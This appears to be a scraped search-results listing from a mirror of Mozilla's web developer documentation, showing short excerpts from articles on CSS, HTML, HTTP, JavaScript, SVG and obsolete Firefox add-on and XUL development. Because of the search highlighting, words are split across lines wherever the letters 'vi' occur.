vior of flexbox.
...And 5 more matches
Block and inline layout in normal flow - CSS: Cascading Style Sheets
the beha
viour of elements which have a block or inline formatting context is also defined in this specification.
...the beha
vior on block and inline elements is the same when working in a vertical writing mode, and we will explore this in a future guide on flow layout and writing modes.
...while we don’t tend to think of inline elements as ha
ving a box, as with everything in css they do.
...And 5 more matches
Flow Layout and Overflow - CSS: Cascading Style Sheets
gi
ving an element a fixed height and width, then adding significant content to the box, creates a basic overflow example: the content goes into the box.
... once it fills the box, it continues to overflow in a
visible way, displaying content outside the box, potentially displaying under subsequent content.
... the property that controls how overflow behaves is the overflow property which has an initial value of
visible.
...And 5 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
layout methods will conform to the specification where possible and implement indi
vidual beha
vior based on their differences (features and constraints).
...this means that you can set the property indi
vidually, by using align-self on a grid item.
...the first area, is showing the default beha
vior of align-self, which is to stretch.
...And 5 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
however, while evergreen browsers mean that many of us are going to see the majority of users ha
ving grid layout support very quickly, there are also old or non-supporting browsers to contend with.
... as with any front-end technology choice, the decision to use css grid layout will come down to the browsers your site
visitors are typically using.
...however, the width i have assigned to the list items themselves still applies, and it now makes those items a third of the width of the track: if i reset the width to auto, then this will stop the float beha
vior happening for older browsers.
...And 5 more matches
Using CSS transitions - CSS: Cascading Style Sheets
css transitions pro
vide a way to control animation speed when changing css properties.
... instead of ha
ving property changes take effect immediately, you can cause the changes in a property to take place over a period of time.
... you can control the indi
vidual components of the transition with the following sub-properties: (note that these transitions loop infinitely only for the purpose of our examples; css transitions only
visualize a property change from start to finish.
...And 5 more matches
overflow-x - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-x:
visible; overflow-x: hidden; overflow-x: clip; overflow-x: scroll; overflow-x: auto; /* global values */ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen from the list of values below.
... values
visible content is not clipped and may be rendered outside the padding box's left and right edges.
... if overflow-y is hidden, scroll or auto and this property is
visible, it will implicitly compute to auto.
...And 5 more matches
Event developer guide - Developer guides
the over
view page pro
vides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.
... the de
vice on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3d transforms.
... that is different, but similar, to the change in de
vice vertical orientation.
...And 5 more matches
Content categories - Developer guides
this is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared beha
vior and their associated rules, especially when you come upon their intricate details.
... main content categories metadata content elements belonging to the metadata content category modify the presentation or the beha
vior of the rest of the document, set up links to other documents, or convey other out of band information.
...>, <h4>, <h5>, <h6>, <header>, <hgroup>, <hr>, <i>, <iframe>, <img>, <input>, <ins>, <kbd>, <keygen>, <label>, <main>, <map>, <mark>, <math>, <menu>, <meter>, <nav>, <noscript>, <object>, <ol>, <output>, <p>, <picture>, <pre>, <progress>, <q>, <ruby>, <s>, <samp>, <script>, <section>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <svg>, <table>, <template>, <textarea>, <time>, <ul>, <var>, <
video>, <wbr> and text.
...And 5 more matches
Rich-Text Editing in Mozilla - Developer guides
note: this document is out-of-date; you are ad
vised to consult the more up-to-date document available at making content editable.
...starting in firefox 3, mozilla also supports internet explorer's contenteditable attribute which allows any element to become editable or non-editable (the latter for when preventing change to fixed elements in an editable en
vironment).
... similarly, setting contenteditable to "true" allows you to make indi
vidual elements of a document editable.
...And 5 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
because a given file type may be identified in more than one manner, it's useful to pro
vide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable.
...tified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="
videofile" accept="
video/*"> <input type="file" id="imagefile" accept="image/*"> the accept attribute doesn't validate the types of the selected files; it simply pro
vides hints for browsers to guide users towards selecting the correct file types.
... <p> <label for="soundfile">select an audio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="
videofile">select a
video file:</label> <input type="file" id="
videofile" accept="
video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" accept="image/*" multiple> </p> note the last example allows you to select multiple iamges.
...And 5 more matches
<input type="color"> - HTML: Hypertext Markup Language
<input> elements of type color pro
vide a user interface element that lets a user specify a color, either by using a
visual color picker interface or by entering the color into a text field in #rrggbb hexadecimal format.
... pro
viding a default color you can update the simple example above to set a default value, so that the color well is pre-filled with the default color and the color picker (if any) will also default to that color: <input type="color" value="#ff0000"> if you don't specify a value, the default is #000000, which is black.
...you should be aware of this beha
vior so your code can respond appropriately in either case.
...And 5 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
hidden inputs are completely in
visible in the rendered page, and there is no way to make it
visible in the page's content.
...this specifically can't be edited or seen by the user
via the user interface, although you could edit the value
via browser developer tools.
... important: while the value isn't displayed to the user in the page's content, it is
visible—and can be edited—using any browser's developer tools or "
view source" functionality.
...And 5 more matches
<picture>: The Picture element - HTML: Hypertext Markup Language
the html <picture> element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/de
vice scenarios.
... to decide which url to load, the user agent examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display de
vice.
... it pro
vides a fallback in case none of the offered <source> elements are able to pro
vide a usable image.
...And 5 more matches
<script>: The Script element - HTML: Hypertext Markup Language
it is critical to pro
vide a nonce that cannot be guessed as bypassing a resource's policy is otherwise tri
vial.
...na
vigations on the same origin will still include the path.
...the html5 specification urges authors to omit the attribute rather than pro
vide a redundant mime type.
...And 5 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
the <tbody> element, along with its cousins <thead> and <tfoot>, pro
vide useful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes.
...this lets you di
vide the rows in large tables into sections, each of which may be separately formatted if so desired.
... <table> <thead> <tr> <th>student id</th> <th>name</th> <th>major</th> </tr> </thead> <tbody> <tr> <td>3741255</td> <td>jones, martha</td> <td>computer science</td> </tr> <tr> <td>3971244</td> <td>nim,
victor</td> <td>russian literature</td> </tr> <tr> <td>4100332</td> <td>petrov, alexandra</td> <td>astrophysics</td> </tr> </tbody> </table> css the css to style our table is shown next.
...And 5 more matches
itemtype - HTML: Hypertext Markup Language
simple example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">acme</span> <span itemprop="name">executive an
vil</span> </div> structured data itemscope itemtype schema.org product itemprop name executive an
vil itemprop brand [thing] itemprop name acme example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">acme<br></span> <span itemprop="name">executive an
vil<br></span> <img itemprop="image" src="htt...
...ps://udn.realityripple.com/samples/61/fa8ee62aba.png" width="50" height="50" alt="executive an
vil logo" /><br> <span itemprop="description">sleeker than acme's classic an
vil, the executive an
vil is perfect for the business traveler looking for something to drop from a height.
... <br> </span> product #: <span itemprop="mpn">925872<br></span> <span itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.4</span> stars, based on <span itemprop="re
viewcount">89 </span> re
views </span><p> <span itemprop="offers" itemscope itemtype="http://schema.org/offer"> regular price: $179.99<br> <meta itemprop="pricecurrency" content="usd" /> <span itemprop="price">sale price: $119.99<br></span> (sale ends <time itemprop="pricevaliduntil" datetime="2020-11-05"> 5 november!</time>)<br> available from: <span itemprop="seller" itemscope itemtype="http://schema.org/organization"> <span itemprop="name">executive objects<br></span> </sp...
...And 5 more matches
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abbre
viated μf) are standards used to embed semantics & structured data in html, and pro
vide an api to be used by search engines, aggregators, and other tools.
...microformats2 is an update to microformats that pro
vides a simpler way of annotating html structured syntax & vocabularies than pre
vious approaches of using rdfa and microdata which require learning new attributes.
...search engines benefit greatly from direct access to this structured data because it allows them to understand the information on web pages and pro
vide more relevant results to users.
...And 5 more matches
Strict-Transport-Security - HTTP
the http strict-transport-security response header (often abbre
viated as hsts) lets a web site tell browsers that it should only be accessed using https, instead of using http.
... description if a website accepts a connection through http and redirects to https,
visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the
visitor types http://www.foo.com/ or even just foo.com.
...the redirect could be exploited to direct
visitors to a malicious site instead of the secure version of the original site.
...And 5 more matches
Proxy Auto-Configuration (PAC) file - HTTP
in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this beha
vior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path.
... the browser will automatically retry a pre
viously unresponsive proxy after 30 minutes.
...(of course, the javascripts must be edited to reflect your site's domain name and/or subnets.) predefined functions and en
vironment these functions can be used in building the pac file: hostname based conditions isplainhostname() dnsdomainis() localhostordomainis() isresolvable() isinnet() related utility functions dnsresolve() convert_addr() myipaddress() dnsdomainlevels() url/hostname based conditions shexpmatch() time based conditions weekdayrange() ...
...And 5 more matches
Proxy servers and tunneling - HTTP
when na
vigating through different networks of the internet, proxy servers and http tunnels are facilitating access to content on the world wide web.
... forward proxies a forward proxy, or gateway, or just "proxy" pro
vides proxy ser
vices to a client or a group of clients.
...they store and forward internet ser
vices (like the dns, or web pages) to reduce and control the bandwidth used by the group.
...And 5 more matches
A typical HTTP session - HTTP
the server processes the request, sending back its answer, pro
viding a status code and appropriate data.
...to work around this problem, web developers use several techniques: ping the server periodically
via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols.
...a client request consists of text directives, separated by crlf (carriage return, followed by line feed), di
vided into three blocks: the first line contains a request method followed by its parameters: the path of the document, i.e.
...And 5 more matches
HTTP response status codes - HTTP
305 use proxy defined in a pre
vious version of the http specification to indicate that a requested response must be accessed by a proxy.
...it was used in a pre
vious version of the http/1.1 specification.
... 408 request timeout this response is sent on an idle connection by some servers, even without any pre
vious request by the client.
...And 5 more matches
String.prototype.charAt() - JavaScript
if the index cannot be converted to the integer or no index is pro
vided, the default is 0, so the first character of str is returned.
... if no index is pro
vided to charat(), the default is 0.
... examples displaying characters at different locations in a string the following example displays characters at different locations in the string "brave new world": var anystring = 'brave new world'; console.log("the character at index 0 is '" + anystring.charat() + "'"); // no index was pro
vided, used 0 as default console.log("the character at index 0 is '" + anystring.charat(0) + "'"); console.log("the character at index 1 is '" + anystring.charat(1) + "'"); console.log("the character at index 2 is '" + anystring.charat(2) + "'"); console.log("the character at index 3 is '" + anystring.charat(3) + "'"); console.log("the character at index 4 is '" + anystring.charat(4) + "'"); console.log("the character at index 999 is '" + anystring.charat(999) + "'"); these ...
...And 5 more matches
TypedArray.prototype.reduceRight() - JavaScript
syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on each value in the typed array, taking four arguments: pre
viousvalue the value pre
viously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduceright method executes the callback function once for each element present in the typed array, excluding holes in the typed array, recei
ving four arguments: the initial value (or value from the pre
vious callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
... the call to the reduceright callback would look something like this: typedarray.reduceright(function(pre
viousvalue, currentvalue, index, typedarray) { // ...
...And 5 more matches
y - SVG: Scalable Vector Graphics
mentmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg
viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="60" /> <rect y="220" x="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <length> | <percentage> default value -10% animatable yes foreignobject for <foreignobject>, y defines the y coordinate of the uper left corner of its
viewport.
... svg for <svg>, y defines the y coordinate of the uper left corner of its
viewport.
...And 5 more matches
Texts - SVG: Scalable Vector Graphics
« pre
viousnext » when talking about text in svg we have to differentiate two almost completely separate topics.
... basics we have seen in the introducing example, that the text element can be used to put arbitrary text in svg documents: <text x="10" y="10">hello world!</text> the x and y attributes determine, where in the
viewport the text will appear.
...each of the following properties can be set as an attribute or
via a css declaration: font-family, font-style, font-weight, font-variant, font-stretch, font-size, font-size-adjust, kerning, letter-spacing, word-spacing and text-decoration.
...And 5 more matches
Certificate Transparency - Web security
potentially malicious certificates, such as those that
violate the ca/b forum baseline requirements, can be detected and revoked much more quickly.
...certificate inclusion can be verified
via an audit proof which can be generated and verified efficiently, in logarithmic o(log n) time.
... the specification states that compliant servers must pro
vide a number of these scts to tls clients when they connect.
...And 5 more matches
Using shadow DOM - Web Components
an important aspect of web components is encapsulation — being able to keep the markup structure, style, and beha
vior hidden and separate from other code on the page so that different parts do not clash, and the code can be kept nice and clean.
... the shadow dom api is a key part of this, pro
viding a way to attach a hidden separated dom to an element.
... high-level
view this article assumes you are already familiar with the concept of the dom (document object model) — a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an html document in the case of web documents).
...And 5 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
9 introduction gecko, intro, javascript, xslt with modern browsers supporting xslt, developers can now use javascript to access the power that xslt pro
vides.
... javascript can enable a web application to load xml data, process it
via xslt into a presentable form and then add it into an existing document.
...this can be done
via xmlhttprequest or xmldocument.load().
...And 5 more matches
Caching compiled WebAssembly modules - WebAssembly
caching is useful for impro
ving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... caching
via indexeddb indexeddb is a transactional database system that allows you to store and retrieve structured data on the client-side.
... setting up a caching library because indexeddb is a somewhat old-fashioned api, we wanted to pro
vide a library function to speed up writing caching code, and make it work better along with today's more modern apis.
...And 5 more matches
Interacting with page scripts - Archive of obsolete content
with unsafewindow you can see javascript objects that have been defined by page scripts, and if a page script has modified the beha
vior of native dom functions, you'll get the modified version of them as well.
...now the page script can call the function as foo.greetme(): <html> <head> </head> <body> <input id="test" type="button" value="click me"/> <script> var test = document.getelementbyid("test"); test.addeventlistener("click", function() { alert(window.foo.greetme("page script")); }, false); </script> </body> </html> reverting to the old beha
vior you can switch firefox back to the old beha
vior in which content scripts could expose objects and functions to page scripts using unsafewindow.
... communicating with page scripts there are two different ways a content script can communicate with a page script: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.default
view.
...And 4 more matches
Content Scripts - Archive of obsolete content
there are five basic principles: the add-on's main code, including "main.js" and other modules in "lib", can use the sdk high-level and low-level apis, but can't access web content directly content scripts can't use the sdk's apis (no access to globals exports, require) but can access web content sdk apis that use content scripts, like page-mod and tabs, pro
vide functions that enable the add-on's main code to load content scripts into web pages content scripts can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory.
...this makes your code easier to maintain, secure, debug and re
view.
...this makes your code easier to maintain, secure, debug and re
view.
...And 4 more matches
core/promise - Archive of obsolete content
instead of structuring our programs into logical black boxes: function blackbox(a, b) { var c = assemble(a); return combine(b, c); } we're forced into continuation passing style, invol
ving lots of machinery: function sphagetti(a, b, callback) { assemble(a, function continuewith(error, c) { if (error) callback(error); else combine(b, c, callback); }); } this style also makes doing things in sequence hard: widget.on('click', function onclick() { promptuserfortwitterhandle(function continuewith(error, handle) { if (error) return ui.displayerror(error); twitt...
... promises consider another approach, instead of continuation
via callbacks, a function returns an object that represents a eventual result, either successful or failed.
... this technique is so powerful that it can replace most of the promise utility functions pro
vided by other promise libraries.
...And 4 more matches
ui/sidebar - Archive of obsolete content
if a new window is opened from a window that has a sidebar
visible, the new window gets a sidebar, too.
... alternatively, the
view->sidebar submenu in firefox will contain a new item which the user can use to show or hide the sidebar: the sidebar generates a show event when it is shown and a hide event when it is hidden.
...unlike modules such as panel, the content must be local, typically loaded from the add-on's data directory
via a url constructed using self.data.url(): var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html").
...And 4 more matches
package.json - Archive of obsolete content
the package.json file contains manifest data for your add-on, pro
viding not only descriptive information about the add-on for presentation in the add-ons manager, but other metadata required of add-ons.
... this is used as a classid of the "harness ser
vice" xpcom component.
...if you don't pro
vide an icon here, the same icon as specified by icon will be used.
...And 4 more matches
Chrome Authority - Archive of obsolete content
using chrome authority the most powerful low-level modules are run with "chrome pri
vileges", which gives them access to the infamous components object, which grants unfettered access to the host system.
...to obtain these pri
vileges, the module must declare its intent with a statement like the following: var {cc, ci} = require("chrome"); the "chrome" built-in pseudo module is pro
vided by the "toolkit/loader" module.
... the object returned by require("chrome"), when unpacked with the destructuring assignment feature available in the mozilla js en
vironment, will pro
vide the usual components.* aliases: cc an alias for components.classes.
...And 4 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
« pre
viousnext » this document was authored by hiroshi shimoda of clear code inc.
... figure 1: role of each technology in firefox in addition to these technologies, extension development will require you to learn about how to confer pri
vileges to overcome security restrictions on code that you write, and how to embed your code into the firefox ui.
... the minimum knowledge required in the interest of bre
vity, i will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for firefox.
...And 4 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
failure to do so can lead to execution or remote scripts, and in the worst cases to pri
vilege escalation which can leave a user's pc open to remote attack.
...ny namespace) elem.setattributens(attrns.namespace || "", attrns.shortname, val); } } // create and append this element's children var childelems = array.slice(arguments, 2); childelems.foreach(function(childelem) { if (childelem != null) { elem.appendchild( childelem instanceof doc.default
view.node ?
... label: "test button label", tooltiptext: "test button tooltip", removable: true, key: "mytestbutton123" }, [ "menupopup", { onpopupshowing: function(event) { addentrytopopup(this, document, window); } }, null ] ]; var capturednodes = {}; var toolbox = doc.getelementbyid("na
vigator-toolbox"); var palette = toolbox.palette; var domfragment = jsontodom(jsontemplatebtn, document, capturednodes); palette.appendchild(domfragment); alert("capturednodes contains any created nodes that have optionally been captured (for later convenient javascript access) by gi
ving them a 'key' attribute; for example: " + capturednodes.mytestbutton123); another example this here is another...
...And 4 more matches
Promises - Archive of obsolete content
} } }); can be converted to a pure promise-based equivalent as such: request("login", { username: user, password: password }) .then(response => { if (response.messages) return publish({ username: user, messages: response.messages }); }) .then(null, (e) => { self.reporterror("publication failed", e); }); file io file io in add-ons should be done
via the os.file api, which pro
vides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files.
... this interface replaces the pre
vious, complicated xpcom nsifile and streams apis, and their related javascript helper modules.
... config.indexstats = processor.stats; yield os.file.writeatomic(configpath, json.stringify(config), { tmppath: configpath + "." + math.random(), encoding: "utf-8" }) timestamp = new date; }); http requests http requests should, in nearly all circumstances, be made
via the standard xmlhttprequest api.
...And 4 more matches
Creating a dynamic status bar extension - Archive of obsolete content
« pre
viousnext » this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes.
...concepts covered in the pre
vious sample won't be reiterated here; instead, refer to the downloadable sample code or to the pre
vious sample for further details.
...update the chrome manifest the chrome manifest needs only a minor update from the pre
vious sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher".
...And 4 more matches
Download Manager preferences - Archive of obsolete content
this article pro
vides a list of them.
... preference description browser.download.anti
virus.dontclean note: in gecko 1.9.1.
... a boolean value that indicates whether the anti
virus software should try to clean a downloaded file when a
virus is detected.
...And 4 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
these flags can be grouped into two categories: flags which affect all frames ("public" flags), and flags that are reserved for an indi
vidual frame's private use ("private" flags).
... ns_frame_sync_frame_and_
view ns_frame_outside_children this flag is set if the combined area of a frame's children extend past the frame's bounding box.
...(see nsframe::isframetreetoodeep().) ns_frame_has_dirty_children ns_frame_has_
view ns_frame_independent_selection ns_frame_is_special nsblockframe mflags these flags are the private flags that are meaningful to block frames.
...And 4 more matches
GRE - Archive of obsolete content
the framework for embedding mozilla technologies was at one point called the gre (gecko runtime en
vironment).
... the xre project, which means "xul runtime en
vironment", has been replaced by xulrunner.
...this library pro
vides a layer of indirection between embedding code and xpcom.
...And 4 more matches
Java in Firefox Extensions - Archive of obsolete content
the following approach is taken from the extension xquseme (note you must use the latest version, currently still in the sandbox, as prior versions only worked with liveconnect before java 6 update 11) which borrows some of the code of the java firefox extension in order to grant full pri
vileges to java within a firefox extension, but it is easier to understand and doesn't require creation of a xpcom component.
... [note: a simpler hello world version than that below is now available at http://brett-zamir.me/java_demo/ ] for pri
vileges, the basic procedure is: download and include http://simile.mit.edu/repository/jav...nsionutils.jar within your extension (you can also build your own from the source files at http://simile.mit.edu/repository/jav...xtensionutils/ ) build and add references leading to this jar and all other jars in your extension within an array of java.net.url's, pass to java.net.urlclassloader to get a class loader, and finally pass the classloader and array to a function which gives the necessary pri
vileges: // this function will be called to give the necessary pri
vileges to your jar files // however, the policy never comes into play, because // (1) adding permissions doesn't ...
... getser
vice(components.interfaces.nsiextensionmanager).
...And 4 more matches
LIR - Archive of obsolete content
ways 38 jt void jump if true 39 jf void jump if false 40 jtbl void jump to address in table 41 label void a jump target (no machine code is emitted for this) 42 not in use guards 43 x void exit always 44 xt void exit if true 45 xf void exit if false 46 xtbl void exit
via indirect jump 47 xbarrier void a lir_xbarrier cause no code to be generated, but it acts like a never-taken guard in that it inhibits certain optimisations, such as dead stack store elimination.
...double equality 74 ltd integer double less-than 75 gtd integer double greater-than 76 led integer double less-than-or-equal 77 ged integer double greater-than-or-equal 78 negi integer negate int 79 addi integer add int 80 subi integer subtract int 81 muli integer multiply int 82 di
vi integer i386/64 di
vide int 83 modi integer modulo int - lir_modi is a hack.
... the operand is the result of a lir_di
vi because on i386/x64 div and mod results are computed by the same instruction.
...And 4 more matches
Prism - Archive of obsolete content
we can also benefit from operating system tools that lets us
view the memory/cpu consumption of a specific application.
...it is more efficient to pro
vide a ui that is specific to the application.
... architectural over
view prism is a xulrunner application.
...And 4 more matches
Proxy UI - Archive of obsolete content
camino configured in os (networking preferences) (recently added - some support for reading os and account settings.)ui elements preferences panel over
view the ui is based on selecting a proxy mode, then filling out any additional needed information in "related" ui.
...the underlying beha
vior.
...for example, firefox 3: [ ] no proxy [ ] auto-detect proxy settings for this network [ ] manual proxy configuration: [ ] automatic proxy configuration url: beha
vior default value: "no proxy" is selected all other "type" radio buttons are enabled, but not selected.
...And 4 more matches
RDF Datasource How-To - Archive of obsolete content
typically, you pro
vide a parser for reading in some sort of static storage (e.g., a data file); the parser translates the datafile into a series of calls to assert() to set up the in-memory datasource.
...you'll probably need to choose this implementation if your datasource is "live", and may be modified or altered by some outside agent (e.g., new mail arri
ving).
...registering an rdf datasource is fairly simple: in the dll's nsregisterself() method, you simply call the component manager's registercomponent() method: extern "c" pr_implement(nsresult) nsregisterself(nsisupports* aser
vicemanager, const char* apath) { nsresult rv; ...
...And 4 more matches
Merging TraceMonkey Repo - Archive of obsolete content
between resol
ving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes around half a day.
... hg clone ssh://hg.mozilla.org/mozilla-central mozilla-central hg clone ssh://hg.mozilla.org/tracemonkey tm-merge cd tm-merge pull mozilla-central into tracemonkey
via hg pull ../mozilla-central you will see a notice about adding at least one head to the repository -- this is the mozilla-central head that you are about to merge.
... merge
via hg merge you may see a number of conflicts.
...And 4 more matches
eventnode - Archive of obsolete content
« xul reference home eventnode type: one of the values below indicates where keyboard na
vigation events are listened to.
...thus, if this attribute is not used, the tabbox or an element inside it must have the focus for the keyboard na
vigation to apply.
... parent keyboard na
vigation is captured at the parent of the tabbox.
...And 4 more matches
Building Trees - Archive of obsolete content
« pre
viousnext » the most common element to use with a template is the tree.
...the tree builder implements the nsitree
view interface, so it becomes the tree’s
view—in other words, the tree’s
view and the tree’s builder are the same object.
... when the tree is displayed, it asks the
view for the contents of each cell.
...And 4 more matches
Filtering - Archive of obsolete content
« pre
viousnext » adjusting the query sometimes you may wish to change the query at a later time.
...when remo
ving the filter, we only need to remove the triple from the query.
...you can
view a complete example of this in action.
...And 4 more matches
Multiple Queries - Archive of obsolete content
« pre
viousnext » so far, every template has contained only a single query, even for recursive content.
...tos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="
view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/> </action> </queryset> </template> </hbox> this template contains two queries, the first contains a <triple> which matches only the photo with a t...
...here is the pre
vious example rewritten using the simple syntax: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://purl.org/dc/elements/1.1/"> <template> <rule dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="
view" orient="vertical"/> </rule> <rule> <image uri="rdf:*" src="rdf:*"/> </rule> ...
...And 4 more matches
Result Generation - Archive of obsolete content
« pre
viousnext » rdf in this section, we'll look at generating template output using rdf datasources.
...to na
vigate around, you could start at node a and na
vigate around the graph following the arrows to b, c or d.
...templates pro
vide a means of na
vigating around using only arrows with specific labels.
...And 4 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
« pre
viousnext » next, we'll find out how to add custom methods to xbl-defined elements.
... elements with an xbl beha
vior attached to them have a special property which holds an array of the anonymous child elements inside it.
...it works by getting a reference to the title element using the anonymous array and changing the
visibility of it.
...And 4 more matches
Broadcasters and Observers - Archive of obsolete content
« pre
viousnext » there may be times when you want several elements to respond to events or changes of state easily.
... example 1 : source
view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a new window" command="my_command"/> in this example, the button does not have a label attribute, however it is attached to a command that does.
...we saw something like this in a pre
vious section where the disabled attribute was adjusted once and propagated to other elements.
...And 4 more matches
Creating a Window - Archive of obsolete content
« pre
viousnext » we're going to be creating a simple find files utility throughout this tutorial.
...if you want to force the window to become
visible you can add the width and height attribute to the window tag.
...the syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://na
vigator/content/na
vigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascript like these in the error console.
...And 4 more matches
More Menu Features - Archive of obsolete content
« pre
viousnext » in this section, we'll look at creating submenus and checked menus creating submenus you can create submenus inside other menus (nested menus) using the existing elements.
...the example below creates a simple submenu inside the file menu example 1 : source
view <toolbox flex="1"> <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menu id="new-menu" label="new"> <menupopup id="new-popup"> <menuitem label="window"/> <menuitem label="message"/> </menupopup> </menu> <menuitem label="open"/> <menuitem label="save"/> ...
... our find files example so far : source
view adding checkmarks to menus many applications have menu items that have checks on them.
...And 4 more matches
Popup Menus - Archive of obsolete content
« pre
viousnext » in the last section, we looked at creating a menu on a menu bar.
...this type of popup is usually used to pro
vide a description of a button in more detail than can be pro
vided on the button itself.
...the sample below shows how we might do this: example 1 : source
view <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <box context="clipmenu"> <label value="context click for menu"/> </box> here, the menupopup has been associated with a box.
...And 4 more matches
Trees and Templates - Archive of obsolete content
« pre
viousnext » the following describes how to use a template with a tree.
...the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the pre
vious section, the tree may use a tree builder for template generation instead of the normal content builder.
...this means that values that are deeper in the resource hierarchy are not determined until the user na
vigates to that node in the tree.
...And 4 more matches
Using the Editor from XUL - Archive of obsolete content
over
view the editor in xul lives on top of a xul <iframe> element; it observes document loading in this <iframe>, and, when document loading is complete, it instantiates an editor on the loaded document.
...ha
ving an id attribute, id="content-frame", allows us to find this element with document.getelementbyid("content-frame"), and to style it from css.
... it at the webshellwindow to use, and telling it the content node that it lives on: editorshell.init(); editorshell.seteditortype(editortype); editorshell.webshellwindow = window; editorshell.contentwindow = window._content; the webshellwindow (a settable attribute on nsieditorshell) points to the top-level window element, from which the editorshell can get the xul document in which it is li
ving.
...And 4 more matches
XUL Questions and Answers - Archive of obsolete content
an example of this is: var tree = document.getelementbyid('treeid'); selectedtreeitem = tree.
view.getitematindex(tree.currentindex); selectedtreeitem.firstchild.setattribute('style', 'background: #ff0000'); what is an example of tab browser in xul?
...others, like <listbox>, cannot be so tied, but one can always write a script that updates preferences explicitly,
via nsiprefbranch interface.
... use the following snippet of code to reference a js file within a js file: objscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"].getser
vice(components.interfaces.mozijssubscriptloader); objscriptloader.loadsubscript(strurl); see http://www.xulplanet.com/references/...iptloader.html for more information.
...And 4 more matches
iframe - Archive of obsolete content
warning: when used in chrome-pri
vileged documents (either html or xul) such as firefox addons, the contents of the frame may have the same permissions as firefox itself.
